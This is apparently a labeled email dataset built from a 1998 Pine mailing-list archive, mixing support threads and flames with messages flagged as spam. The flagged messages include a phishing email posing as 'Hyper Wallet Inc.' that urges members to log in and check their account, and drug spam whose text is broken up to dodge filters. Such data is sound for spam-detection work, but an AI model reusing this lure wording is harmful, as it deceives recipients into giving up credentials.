you've hacked your mail delivery program source code to lock someplace else, then you can hack Pine source code to do the same thing. It should not be any easier (e.g. an option for a lock directory in Pine), otherwise people will be misled (as you were misled) to set that option without recognition of the consequences. You're really being protected from making a bad decision. It's a complicated issue; I wrote a document which goes into it in much more detail. I'll forward you a copy if you're interested. -- Mark -- * Unsolicited commercial email is NOT welcome at this email address. * Science does not emerge from voting, party politics, or public debate. ",0,0 """Hyper Wallet Inc."" ","mailarch+pine-info@groupms.cac.washington.edu, carolyn@groupms.cac.washington.edu, lila@groupms.cac.washington.edu, nathan@groupms.cac.washington.edu, kimberly@groupms.cac.washington.edu, leila@groupms.cac.washington.edu, winifred@groupms.cac.washington.edu, tony@groupms.cac.washington.edu, kimberly@groupms.cac.washington.edu","Sat, 03 Jan 1998 12:47:37 -0300",Possible data loss.,"Hyper Wallet Inc. Dear Member, We wish to inform you that we are undergoing system maintenance on our backbone data servers, due to some complaints that we have received regarding our users information being lost / altered we ask you to login into your account at the URL provided bellow and check to see if your information is correct. If there is any  wrong personal information please call our support center to correct the problem as soon as possible. https://www.hyperwallet.com/index.jsp HyperWallet Systems Inc. apreciates your quick response in this matter.",1,1 Bamidele Brannan ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 03 Jan 1998 07:57:13 -0700",Re: your VALttUM,"Hi Look, this information might be pretty interesting for you P V A X L C V r A m a e I I o L b n v A A z I i a i L G a U e x t I R c M n ra S A http://www.lanseislan.com Your servant, Mr. Baggins, said Bilbo. Then they wanted to know all about his adventures after they had lost him, and he sat down and told them everything-except about the finding of the ring (not just now he thought). They were particularly interested in the riddle-competition, and shuddered most appreciatively at his description of Gollum. ",1,1 Edward M Greshko ,Pine Discussion Forum ,"Sun, 04 Jan 1998 07:07:32 +0800",Re: assistance,"On Sat, 3 Jan 1998 vi1@krcl.ernet.in wrote: > assitance What type? In Taipei you dial 119 for emergency assistance or 104 for directory assistance. -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sat, 03 Jan 1998 17:14:42 -0600",Re: assistance,">From: Edward M Greshko >Date: Sun, 4 Jan 1998 07:07:32 +0800 (GMT) >On Sat, 3 Jan 1998 vi1@krcl.ernet.in wrote: >>assitance >What type? >In Taipei you dial 119 for emergency assistance or 104 for directory >assistance. Spelling, which is ^t, by the way.",0,0 Thomas J Dean ,Pine Discussion Forum ,"Sat, 03 Jan 1998 18:21:30 -0500","Thanks, but no thanks, for the ""improved"" Pine 3.96","Dear People-at-Pine (assuming this gets through to you), I am getting more and more confused, and indeed upset, with the new ""improved"" system of Pine 3.96 which my university has installed to replace Pine 3.91. I wonder if my problems are unique. Here are just some of the reasons for my new confusions and irritations: 1. It would seem that someone has decided that it would be a vast improvement, in my previous ""sent mail"" folders, to erase all the names of the persons to whom I sent e-mail and replace each and every one of them with my own name. I don't suppose there is anyway to retrieve all that information. Absent that, assuming there is some way to erase own name and restore the names of the persons to who all that mail was sent, how would I do that? (Probable answer: don't ask, it can't be done.) Even if it could be done, it is a pain to think I have to go through each of them individually, find out to whom it was sent, and then somehow change it on the screen. But probably I should not worry. I'll wake up tomorrow and find out that in the meantime someone has simply erased all the sent mail folders (see 2. below). End of problem! 2. But wait, it gets worse. It now seems that mail I have sent out after January 1st (i.e., after the new system of Pine was up and running, I guess) is no longer even recorded in my sent mail folder, not even under my own name, let alone the names of recipients. Guess I didn't know I had it so good in 1. above, huh? I trust the messages are getting through, but it's anybody's guess. (Hence my question in the opening above whether you will even receive this one.) So where (if anywhere) is there a record of my sent mail NOW? (Probable answer: don't ask, it doesn't exist.) 3. Probably related to 2., I note that here is a new line now after ""cc"" on messages sent out, namely, ""fcc"". Now when I send out a letter an abbreviated name pops up automatically on ""fcc"". Not knowing or having been told what it is, I eliminate it each time. Why? Once I tried sending something without doing that, and when it found there was ""no such file (with that person's name)"", it simply refused to send the message. So I went back to eliminating the entry after ""fcc"", so at least the message could go out (though, since there is now no record, who knows if it REALLY went out). So what on earth is this ""fcc"" all about? Does it mean (related back to 2. above), that if I want to have a record of mail sent, I now have to create individual folders for each addressee to store my sent mail in, otherwise there will be no record of having sent it out? And if so, to check my sent mail, I have to go through each and every individual person's folder? I hope this is not so, because otherwise this vaunted improvement, Pine 3.96, has become an nightmare. Conclusion: Assuming not a whole lot can be done about this ""improved system"", perhaps I should switch, as my friends have been encouraging me to do, to EUDORA, since it would appear that my refusal to switch earlier from Pine to Eudora was based on misplaced loyalty to Pine. I guess Eudora must be the way to go from now on. That way I can simply circumvent this new ""improved"" version of Pine altogether. Idea: Perhaps, if my colleagues using Pine are suffering similar indignities, I should recommend that they switch to Eudora too. Perhaps we can persuade the university to just forget about Pine. Yep, that's what we should do. So, thanks for hearing me out. You've been a big help, really! Yours for even further ""improvements"" to Pine! Tom Dean P.S. I shall try to send a copy of this, as the ""robot"" advised, to the web discussion group at ""comp.mail.pine"". Perhaps THAT will get through, and perhaps THEY will be interested to know. ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Sat, 03 Jan 1998 15:29:05 -0800",Multiple .pinerc's spawned,"Hey Ed? Robin? I found something odd that might attract your interest; Running Pine under AIX4.0, for no (known) reason, each time I invoke Pine, it spawns four pinerc's (not dot pinerc's) and with a letter following, then a five digit number. I stopped the problem (though I wish I really knew how) but wodered if you had ever seen/heard of Pine doing this. Like I said, it's gone away and I didn't follow any methodical troubleshooting method, just ""thrashed around"" in the users' home directory until Pine worked, and the spawning of pinerc's quit. Not the most scientific solution I know...any suggestions? -Colin ",0,0 Thomas J Dean ,Pine Discussion Forum ,"Sat, 03 Jan 1998 18:30:09 -0500","getting a messsage to the world-wide ""comp.mail.pine""","Dear Pine-info: How does one get a message to the ""comp.mail.pine"" group? Via an e-mail address, or via a web address? I tried ""http://www.comp.mail.pine"" and that did not work. I tried ""http://comp.mail.pine"" and that did not work. Any suggestions or help greatly appreciated! T. D. ",0,1 """Colin J. Raven"" ",Pine Discussion Forum ,"Sat, 03 Jan 1998 15:33:35 -0800",Re: Multiple .pinerc's spawned,"Oh yes, it's Pine 3.96 (like that makes any difference)... Oh and to all that say 3.96 has anything ""wrong"" with it...it doesn't! :) But...that's just my .02 cents' worth! -Colin ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sat, 03 Jan 1998 17:42:19 -0600","Re: getting a messsage to the world-wide ""comp.mail.pine""",">From: Thomas J Dean >Date: Sat, 3 Jan 1998 18:30:09 -0500 (EST) >How does one get a message to the ""comp.mail.pine"" group? Via an e-mail >address, No! >or via a web address? No! >I tried ""http://www.comp.mail.pine"" and >that did not work. I tried ""http://comp.mail.pine"" and that did not work. Of course not. ""http"" is the URL for ""hypertext transport protocol"", a method for viewing Web pages in your browser. comp.mail.pine is a newsgroup in Usenet, and Usenet has its own URL. >Any suggestions or help greatly appreciated! I take it you have the ability to post news articles through your Web browser. You clearly don't have a question about pine. My suggestion is, Don't ask an inappropriate question on the comp.mail.pine newsgroup! btw, this is the pine-info mailing list. People here are willing to answer questions about pine, hence the name of the list. If you ask a question that is asked repeatedly, the answer will be, ""Read the context-sensitive help.""",0,1 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sat, 03 Jan 1998 18:04:46 -0600","Re: Thanks, but no thanks, for the ""improved"" Pine 3.96",">From: Thomas J Dean >Date: Sat, 3 Jan 1998 18:21:30 -0500 (EST) > I am getting more and more confused, and indeed upset, with the >new ""improved"" system of Pine 3.96 which my university has installed to >replace Pine 3.91. I wonder if my problems are unique. Here are just some >of the reasons for my new confusions and irritations: STOP PANICKING. Relax, take a deep breath, control your own situation. > 1. It would seem that someone has decided that it would be a vast >improvement, in my previous ""sent mail"" folders, to erase all the names of >the persons to whom I sent e-mail and replace each and every one of them >with my own name. I don't suppose there is anyway to retrieve all that >information. All the information is still there. What probably happened was your system administrator got sick of all the complaints of the nature, ""How come when I send mail (or news), the recipient's (or newsgroup's) name appears in the index, instead of my name?"" and changed the setting in the system-wide configuration file. So, override it in your own configuration file! As an experienced pine user, you are familiar with the configuration file, right? You are familiar with reading the context-sensitive help, right? 3.96 has many additional features. Look at the configuration file, and if there is a feature you don't understand or don't recognize, read the context-sensitive help. It's that simple. The feature that was changed is ""index-format"", and the FROMORTO token was replaced with FROM. Read the context-sensitive help with this feature, and choose the tokens that best suit your needs. > 2. But wait, it gets worse. It now seems that mail I have sent >out after January 1st (i.e., after the new system of Pine was up and >running, I guess) is no longer even recorded in my sent mail folder, not >even under my own name, let alone the names of recipients. You did this yourself, as you explain in 3. > 3. Probably related to 2., I note that here is a new line now >after ""cc"" on messages sent out, namely, ""fcc"". Now when I send out a >letter an abbreviated name pops up automatically on ""fcc"". Not knowing or >having been told what it is, I eliminate it each time. Why? Once I tried >sending something without doing that, and when it found there was ""no such >file (with that person's name)"", it simply refused to send the message. >So I went back to eliminating the entry after ""fcc"", so at least the >message could go out (though, since there is now no record, who knows if >it REALLY went out). > So what on earth is this ""fcc"" all about? Does it mean (related >back to 2. above), that if I want to have a record of mail sent, I now >have to create individual folders for each addressee to store my sent mail >in, otherwise there will be no record of having sent it out? And if so, >to check my sent mail, I have to go through each and every individual >person's folder? ""fcc"" means ""file carbon copy"", which has been a feature of pine since the beginning. You may not have noticed it before, as it may have been a rich header, not revealed until you press ^r. If you want to know about it, READ THE CONTEXT-SENSITIVE HELP. It is simply a way of saving a copy of an outgoing message on your own system. Even if you are able to save a sent message, it hasn't necessarily left your system due to other problems. You don't know unless your recipient tells you he actually received it. If you continuously delete the ""fcc"" line, your message won't be saved anywhere. In the context-sensitive help, read about ""customized-hdrs"" and ""fcc-name-rule"" from the configuration file. Also, read the context-sensitive help in the address book for naming customized sent-mail folders for specific correspondents. And, read about ""folder-collections"" from the configuration file and the List folders screen. > I hope this is not so, because otherwise this vaunted improvement, >Pine 3.96, has become an nightmare. > Conclusion: > Assuming not a whole lot can be done about this ""improved system"", >perhaps I should switch, as my friends have been encouraging me to do, to >EUDORA, since it would appear that my refusal to switch earlier from Pine >to Eudora was based on misplaced loyalty to Pine. Well, if you refuse to read the help text or learn the program, you won't have any greater satisfaction with Eudora.",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Sat, 03 Jan 1998 16:11:28 -0800","Re: getting a messsage to the world-wide ""comp.mail.pine""","If I may interject a small suggestion here, Since Pine is also a mail reader, perhaps the esteemed list member could access ""L"" (Folder List) then travel down to ""New Collection"" and follow menu prompts from there onwards. entering comp.mail when prompted for groups to search for will immediately access comp.mail.pine, along with other interesting newsgroups that relate to mail programs out there. Just a suggestion, which would get the reader to the resource he wants, while *still using* the resources of this list. Regards to all, and best wishes for a ""Great '98""! -Colin ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sun, 04 Jan 1998 01:51:10 +0100","Re: Thanks, but no thanks, for the ""improved"" Pine 3.96",">> ""TJD"" == Thomas J Dean whined: [Thomas J. Dean has new confusions and irritations] TJD> 1. It would seem that someone has decided that it would be a vast TJD> improvement, in my previous ""sent mail"" folders, to erase all the TJD> names of the persons to whom I sent e-mail and replace each and TJD> every one of them with my own name. That's a FAQ, Thomas. TJD> 2. It now seems that mail I have sent out after January 1st TJD> (i.e., after the new system of Pine was up and running, I guess) TJD> is no longer even recorded in my sent mail folder, not even TJD> under my own name, let alone the names of recipients. That's a FAQ, Thomas. TJD> 3. Probably related to 2., I note that here is a new line now TJD> after ""cc"" on messages sent out, namely, ""fcc"". So what on TJD> earth is this ""fcc"" all about? That's a FAQ, Thomas. TJD> Conclusion: Assuming not a whole lot can be done about this TJD> ""improved system"", perhaps I should switch, as my friends have TJD> been encouraging me to do, to EUDORA, since it would appear that TJD> my refusal to switch earlier from Pine to Eudora was based on TJD> misplaced loyalty to Pine. I guess Eudora must be the way to go TJD> from now on. Absolutely correct, Thomas. Eudora is much simpler to use, the knowledge base of the people supporting it on the net is much higher, and commercial software is always better than free software. TJD> Idea: Perhaps, if my colleagues using Pine are suffering similar TJD> indignities, I should recommend that they switch to Eudora too. Yes, please do that, Thomas. TJD> Perhaps we can persuade the university to just forget about TJD> Pine. Yep, that's what we should do. Correct, Thomas. ""Heute die Uni und morgen die ganze Welt."" TJD> You've been a big help, really! Yours for even further TJD> ""improvements"" to Pine! Thomas? Are you there? Have you talked to some professional about your problems yet? You know, it's not that we don't like you... It's just that you have this attitude problem that makes reading your larmoyant drivel really, really revolting. TJD> I shall try to send a copy of this, as the ""robot"" advised, to TJD> the web discussion group at ""comp.mail.pine"". Perhaps THAT will TJD> get through, and perhaps THEY will be interested to know. Great idea, Thomas. Please do that. I will gladly provide you with some more in-depth information about your attitude problem there. However, since this is a mailing list that is read by kind and helpful people, I'll spare you for now. See you on the usenet, Thomas. Don't forget to wear an asbestos suit. Robin -- Robin S. Socha This message brought to you by Microsoft. Inventors of multitasking, windowing, graphical user interfaces, the 32 bit OS, the Internet, the wheel, fire, air, and God.",0,0 chuck bravo ,Pine Discussion Forum ,"Sat, 03 Jan 1998 17:15:55 -0800",Minors name change.,"What would it take to have a mother change her daughters last name? Would she have to consult the father with the name that she wants to change? ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sun, 04 Jan 1998 02:00:12 +0100",Re: Multiple .pinerc's spawned,">> ""CJR"" == Colin J Raven writes: CJR> Hey Ed? Robin? Here, here! CJR> I found something odd that might attract your interest; Running Pine CJR> under AIX4.0, for no (known) reason, each time I invoke Pine CJR> [...] Well, you gave the answer yourself. I don't know of any reason why one should run Pine und AIX. Install Linux. Problem solved. KeWL, huh? Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University main(){printf(&unix[""\\021%six\\012\\0""],(unix)[""have""]+""fun""-0x60);}",0,0 Madelyn Heck ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 03 Jan 1998 14:20:01 -0500",revilatizes your hair/nail growth,"and carpathia some derail on conformation it dried be moroccan ",1,0 Thomas J Dean ,Pine Discussion Forum ,"Sat, 03 Jan 1998 21:34:16 -0500",your reply ,"Robin, Many thanks for matching my sarcastic attitude! At least it was a response from a real person, not the ""robot"" However, you might also be interested in the following reply from Steve Lowe which managed to overlook or see past my attitude problem and offer some real help (though I will have to get help to figure out how to look at something called the "".pinerc file""). Meantime, as to your response, I did look at the FAQ and did find an answer to one of my questions. But I was not successful in finding answers to the others, or if they were there, I was unable to recognize them (you're probably not surprised by that). So, what you could do to also be of real help, if you're so inclined, in addition to simply ""agreeing"" with each of my ill-tempered remarks, would be to tell me WHICH of the FAQ's (which I note were numbered) answer each of my problems. If you're not so inclined, I can't say as I blame you. Hoping (beyond hope?), Tom ---------- Forwarded message ---------- Date: Sat, 03 Jan 1998 18:36:09 -0600 From: Steve Lowe To: Thomas J Dean Subject: Re: Thanks, but no thanks, for the ""improved"" Pine 3.96 Thomas -- As a data center manager, we have made the transition several times over the past three years to different versions of Pine. We have not noticed the problems that you outlined in your message. I can only one of them--the 'fcc' line. 'fcc' indicates the default mail folder where your sent mail is stored -- might be related to the disappearing copies of your sent mail. Pine 3.96 allows the user to store his outgoing mail messages in any folder that he/she desires. If the folder does not exist, Pine 3.96 will prompt you for folder creation. I would check your .pinerc file and ensure that extra characters have not been added to the default sent mail folder entry. This might clear up your problem. HTH. -- Steve Lowe Director, Computing and Information Services Aurora University --------------------------------------------------- On 4 Jan 1998, Robin S. Socha wrote: > >> ""TJD"" == Thomas J Dean whined: [He sure did! :=) ] > [Thomas J. Dean has new confusions and irritations] > TJD> 1. It would seem that someone has decided that it would be a vast > TJD> improvement, in my previous ""sent mail"" folders, to erase all the > TJD> names of the persons to whom I sent e-mail and replace each and > TJD> every one of them with my own name. > > That's a FAQ, Thomas. [Which one, Robin; and, how do I get all the original names of the addressees back?] > > TJD> 2. It now seems that mail I have sent out after January 1st > TJD> (i.e., after the new system of Pine was up and running, I guess) > TJD> is no longer even recorded in my sent mail folder, not even > TJD> under my own name, let alone the names of recipients. > > That's a FAQ, Thomas. [Which one, bitte?] > > TJD> 3. Probably related to 2., I note that here is a new line now > TJD> after ""cc"" on messages sent out, namely, ""fcc"". So what on > TJD> earth is this ""fcc"" all about? > > That's a FAQ, Thomas. [I think Steve has helped with this one.] > Thomas? Are you there? Have you talked to some professional about your > problems yet? [Well, that's sort of what I was hoping for from YOU professionals ...sigh] > You know, it's not that we don't like you... It's just > that you have this attitude problem that makes reading your larmoyant > drivel really, really revolting. [Assuming you do in fact speak for ""we"", I am properly chastised.] > Great idea, Thomas. Please do that. I will gladly provide you with some > more in-depth information about your attitude problem there. However, > since this is a mailing list that is read by kind and helpful people, > I'll spare you for now. See you on the usenet, Thomas. Don't forget to > wear an asbestos suit. [If this singeing is any example, ouch!] > Robin S. Socha > This message brought to you by Microsoft. Inventors of multitasking, > windowing, graphical user interfaces, the 32 bit OS, the Internet, the > wheel, fire, air, and God. [Well, I don't know about all of the above, but I sure felt that hot breath of fire! Here's hoping for more Steve's and fewer Robin's--and then fewer me's. Dare I hope?]",0,0 Edward M Greshko ,Pine Discussion Forum ,"Sun, 04 Jan 1998 10:38:04 +0800",Re: assistance,"On Sat, 3 Jan 1998, Adam H. Kerman wrote: > Spelling, which is ^t, by the way. It is *very* bad form to comment on anyone's spelling errors. This is especially true when the message is from a person's whose native language is not ""English"". Regards -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Sun, 04 Jan 1998 10:45:54 +0800",Re: Minors name change.,"On Sat, 3 Jan 1998, chuck bravo wrote: > What would it take to have a mother change her daughters last name? > Would she have to consult the father with the name that she wants to > change? Talk to a lawyer. BTW, please tell us how you came upon the pine-info mailing list and what prompted you to ask your question here. We keep getting these questions about changing names....and pine is an email program. Go figure. -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sun, 04 Jan 1998 04:35:24 +0100",Re: assistance,">> ""EMG"" == Edward M Greshko writes: EMG> On Sat, 3 Jan 1998, Adam H. Kerman wrote: >> Spelling, which is ^t, by the way. EMG> It is *very* bad form to comment on anyone's spelling errors. Ed, your vary rite! spelling flame [USENET] n. A posting ostentatiously correcting a previous article's spelling as a way of casting scorn on the point the article was trying to make, instead of actually responding to that point (compare dictionary flame). Of course, people who are more than usually slovenly spellers are prone to think *any* correction is a spelling flame. It's an amusing comment on humAn nature that spelling flames themselves often contain spelling errors. EMG> This is especially true when the message is from a person's whose EMG> native language is not ""English"". Zis iz vary tru! Robin P.S. Needless to say that Adam is right and Ed is wrong. Why? Dunno... -- Robin S. Socha The spaceship shuddered. Captain Wilson saw his navigator cringing from a suddenly blue screen. Damn it. If they survived this, a certain Redmond, USA, earth would find itself in hot plasma...",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sun, 04 Jan 1998 04:24:38 +0100",Re: your reply,">> ""TJD"" == Thomas J Dean writes: TJD> Robin, Many thanks for matching my sarcastic attitude! Good to see you have a sense of humour. ]:-> TJD> I will have to get help to figure out how to look at something called TJD> the "".pinerc file""). You know pico, the editor you write your emails with. Yes, it's a stand-alone app, too. So say: pico ~/.pinerc to edit your personal pine configuration file. But say cp ~/.pinerc ~/pinerc.sic first. [...] TJD> 1998, Robin S. Socha wrote: >> ""TJD"" == Thomas J Dean wrote: >> [Thomas J. Dean has new confusions and irritations] TJD> ""sent mail"" >> That's a FAQ, Thomas. TJD> [Which one, Robin; and, how do I get all the original names of TJD> the addressees back?] ""Why does my message index show From: instead of To:?"" No, wait. I suck. You're right - that's abnormal. I just checked. Ummm... HELP! Are you sure you didn't change anything with your mail folders? From a short glance at pine, I cannot even begin to understand how this could happen. You could say ""less"" on one of the folders to check if they're ok. TJD> 2. It now seems that mail I have sent out after January 1st TJD> is no longer even recorded in my sent mail folder, not even under TJD> my own name, let alone the names of recipients. >> That's a FAQ, Thomas. TJD> [Which one, bitte?] I don't know. It should be one. Whatever... You need to set default-saved-msg-folder = in M(ain) S(etup) C(onfig). From the online help: OPTION: Default-Saved-Msg-Folder This option determines the default folder name for Saves... If this is not a path name, it will be in the default collection for saves. Any valid folder specification, local or IMAP, is allowed. This default folder only applies when the saved-msg-name-rule (see later in this configuration screen) doesn't override it. Unix Pine default is normally ""saved-messages"" in the default folder collection. PC-Pine default is ""SAVEMAIL"" (normally stored as SAVEMAIL.MTX) FOR MORE INFORMATION: From the Main Menu, select ""L FOLDER LIST"" and press ""?"" for Help... Look for the section ""Valid Folder Names"". Make sure that one is properly set and that your admin didn't set them to something weird. >> Thomas? Are you there? Have you talked to some professional about >> your problems yet? TJD> [Well, that's sort of what I was hoping for from YOU professionals TJD> ....sigh] I'm not a professional. I'm just... errr... I was... Shoot. I've been a professional for three days now. Oh dear... TJD> [Well, I don't know about all of the above, but I sure felt that TJD> hot breath of fire! Here's hoping for more Steve's and fewer TJD> Robin's--and then fewer me's. Dare I hope?] No. Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University One question: How come the .44 magnum is the worlds only usable point and click interface ? Alan Cox",0,1 Aline Reyna ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 03 Jan 1998 16:38:13 -0500",Take twice as long to eat half as much,"be bluestocking on emirate it's yeast it yugoslavia try question ",1,0 Ed Greshko ,Pine Discussion Forum ,"Sun, 04 Jan 1998 13:04:12 +0800",Re: assistance,"Robin, > P.S. Needless to say that Adam is right and Ed is wrong. Why? Dunno... I think this is similar to the laws of physics, which are extremely hard to violate. Rule #45104 - Ed is always wrong. :-) Regards, Ed -- Edward M. Greshko Technical Manager, Electronic Commerce Control Data Asia/Pacific Region PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE ",0,0 Edward M Greshko ,Pine Discussion Forum ,"Sun, 04 Jan 1998 13:10:45 +0800","TO: ""assistance"" needing person","Dear vi1@krcl.ernet.in.... Everytime I send an email to you I get back a ""blank"" message. If you want folks to correspond with you you should try getting that fixed. Regards, -- Edward M. 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",1,0 pine-robot@docserver.cac.washington.edu,Pine Discussion Forum ,"Sun, 04 Jan 1998 03:00:06 -0800",WHERE TO FIND INFORMATION ABOUT PINE," This message is being sent to this mailing list weekly in order to aid readers in finding information about Pine. Before sending questions to the mailing list, please consult these resources: The Pine program itself includes extensive internal, context-sensitive help. Additional information, including a User's Guide, Technical Notes, Questions & Answers, where to obtain the Pine software, what tools are available to perform tasks that Pine itself does not, and more, can be accessed: - In the Pine Information Center on the World Wide Web at the URL: http://www.washington.edu/pine/ - Via anonymous FTP on the host ftp.cac.washington.edu in the subdirectory /pine/docs/. Here, you will find most of the documents from the Pine Information Center in plain-text form. - The Pine documents on the host ftp.cac.washington.edu can also be read from within Pine by defining a folder collection (from Pine's MAIN MENU, choose SETUP, Config; then move to folder-collections and choose Add Value) as: *{ftp.cac.washington.edu/anonymous}pine/docs/[] The messages from this mailing list are archived. These archives can be accessed: - In the Pine Information Center on the World Wide Web at the URL: http://www.washington.edu/pine/pine-info/ (includes a searchable index of all archived messages, and information on how to subscribe to this mailing list) - Via anonymous FTP on the host ftp.cac.washington.edu in the subdirectory /pine/pine-info/. - From within Pine by defining a folder collection (from Pine's MAIN MENU, choose SETUP, Config; then move to folder-collections and choose Add Value) as: *{ftp.cac.washington.edu/anonymous}pine/pine-info/[] Please note: the mailing list is no longer mirrored in the comp.mail.pine newsgroup. If you have a question about Pine, chances are it has been asked before and you can find the answer either through the searchable index of past messages, or among the ""Questions & Answers"" at the URL: http://www.washington.edu/pine/QandA/ or ftp://ftp.cac.washington.edu/pine/docs/QandA.txt If you need personal assistance with using or configuring Pine, contact the technical support staff or computer help desk of YOUR Internet Service Provider, school, university, employer, ... -- whichever organization provided you with the email account on which you are using, or planning on using, Pine. Because system functions and configuration can vary from site to site, they are best qualified to assist you. (Due to the large number of Pine installations worldwide, the University of Washington cannot provide individual support services to Pine users at other organizations.) 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They should be back from New Year's break tomorrow. Fingers crossed! (Final word at end of following...) On 4 Jan 1998, Robin S. Socha wrote: > > TJD> I will have to get help to figure out how to look at something called > TJD> the "".pinerc file""). > > You know pico, the editor you write your emails with. Yes, it's a > stand-alone app, too. So say: > pico ~/.pinerc > to edit your personal pine configuration file. But say > cp ~/.pinerc ~/pinerc.sic > first. > > TJD> ""sent mail"" > >> That's a FAQ, Thomas. > TJD> [Which one, Robin; and, how do I get all the original names of > TJD> the addressees back?] > > > ""Why does my message index show From: instead of To:?"" > > No, wait. I suck. You're right - that's abnormal. I just > checked. Ummm... HELP! Are you sure you didn't change anything with > your mail folders? From a short glance at pine, I cannot even begin to > understand how this could happen. You could say ""less"" on one of the > folders to check if they're ok. > > TJD> 2. It now seems that mail I have sent out after January 1st > TJD> is no longer even recorded in my sent mail folder, not even under > TJD> my own name, let alone the names of recipients. > >> That's a FAQ, Thomas. > TJD> [Which one, bitte?] > > I don't know. It should be one. Whatever... You need to set > default-saved-msg-folder = > in M(ain) S(etup) C(onfig). From the online help: > > OPTION: Default-Saved-Msg-Folder > This option determines the default folder name for Saves... If > this is not a path name, it will be in the default collection for > saves. Any valid folder specification, local or IMAP, is allowed. > This default folder only applies when the saved-msg-name-rule (see > later in this configuration screen) doesn't override it. Unix > Pine default is normally ""saved-messages"" in the default folder > collection. PC-Pine default is ""SAVEMAIL"" (normally stored as > SAVEMAIL.MTX) > FOR MORE INFORMATION: From the Main Menu, select ""L FOLDER LIST"" and > press ""?"" for Help... Look for the section ""Valid Folder Names"". > > Make sure that one is properly set and that your admin didn't set them > to something weird. > > >> Thomas? Are you there? Have you talked to some professional about > >> your problems yet? > TJD> [Well, that's sort of what I was hoping for from YOU professionals > TJD> ....sigh] > > I'm not a professional. I'm just... errr... I was... Shoot. I've been > a professional for three days now. Oh dear... > > TJD> [Well, I don't know about all of the above, but I sure felt that > TJD> hot breath of fire! Here's hoping for more Steve's and fewer > TJD> Robin's--and then fewer me's. Dare I hope?] > No. [Robin, Good! I take it back. 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I > G> already know how to conect the keypad if you can tell me how > G> obtain 3 outputs.. :) >The SPI port is sitting there. I think you can get at 3 outputs from >those pins (SD/RD/CLK). > >You'll have to do peeks and pokes to access these bits. Even setting >the data direction registers to get outputs. Here is an Interactive C file to do just that. Seems to work well in the 10 minues of testing I've just done. :) Let me know if anyone has problems with this: *Brian Schmalz /* Function to enable SPI port as digital I/O */ /* First you must DisableSPI(), then you can */ /* WritePortD(). If you need to use SPI again, */ /* use EnableSPI(). To read from port D, use */ /* ReadPortD(). */ #define D_ALL_OUT 0b00111100 #define D_ALL_IN 0b00000000 /* Set bits in dir to set direction of I/O on port D */ /* A 1 in bits 5 through 2 will enable that bit in */ /* port D as output. Others will be inputs. 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Do I have to use SAMBA? Do I need a SAMBA client for win 3.11? Where can I find it? Can You help me? Thanks Sergio Ochoa",0,0 Ken Hornstein ,Germán Gentile ,"Mon, 05 Jan 1998 03:26:05 -0500",Re: Touch memory From Dallas... ,">I have searching info about the touch memory from dallas. I need to >know in which way that connect to a microcontroller and wich is the >protocol used. Someone now somethingh abou that??? If you're just interested in sample code, check out: ftp://ftp.cmf.nrl.navy.mil/pub/kenh/minilib.tar.gz Code to talk the Dallas One-Wire protocol is included. Also included is sample C code that implements the bus discovery protocol. It's actually pretty easy to do the protocol. The timing requirements are fairly lax; you have to add some NOPs even with a 2MHz HC11 to get the right delay. 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Is there a Search Engine weird link thing that causes a simple query ""Name+Change"" to somehow return a value of Pine Discussion Group?? When this happened the first (six? eight?) times I thought it might have been word of mouth...but now??? Anyone got any ideas how this crap winds up here? Better still, how do we change this? -Colin -----Original Message----- From: Randi Bagley To: Pine Discussion Forum Date: Monday, January 05, 1998 8:57 PM Subject: Name Change form > >If there is a form available for use by a self-representing citizen to >change his/her name on their own, could you please point me in the right >direction. Lawyers quote very expensive rates for something that seems >as if it should be ""fill-in-the-blanks"" easy. >",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Mon, 05 Jan 1998 17:31:19 -0600",Re: Name Change form,">From: ""Colin J. Raven"" >Date: Mon, 5 Jan 1998 14:10:55 -0000 >I now have to begin seriously wondering where all this name change stuff >stems from. I sent Randi a message asking her, and she sent back a nasty reply, saying I wasn't ""friendly"". Perhaps Robin could be friendlier than I. She said she used yahoo, but didn't tell me what her search criterion was. This list is archived, and the archives aren't hidden from search engines. My guess is that the more inappropriate questions we get on this topic, the higher this mailing list will score, in a geometric progression.",0,0 Edward M Greshko ,Pine Discussion Forum ,"Tue, 06 Jan 1998 07:44:41 +0800",Re: Name Change form,"On Mon, 5 Jan 1998, Randi Bagley wrote: > If there is a form available for use by a self-representing citizen to > change his/her name on their own, could you please point me in the right > direction. Lawyers quote very expensive rates for something that seems > as if it should be ""fill-in-the-blanks"" easy. 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Perhaps Robin could be friendlier than I. > >She said she used yahoo, but didn't tell me what her search criterion was. > >This list is archived, and the archives aren't hidden from search engines. My >guess is that the more inappropriate questions we get on this topic, the higher >this mailing list will score, in a geometric progression. > >",0,0 Branislava Kennan ,mailarch+pine-info@groupms.cac.washington.edu,"Mon, 05 Jan 1998 14:57:55 -0700",Re: your VALtUcM,"Hi X V P C L A V a I r I e m A n A o A v b L a G z L i i I x R a I t e U A c S ra n M http://www.inteerto.com After what seemed ages further they came suddenly to an opening where no trees grew. The moon was up and was shining into the clearing. Somehow it struck all of them as not at all a nice place, although there was nothing wrong to see. All of a sudden they heard a howl away down hill, a long shuddering howl. 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(OTC Pink Sheets: 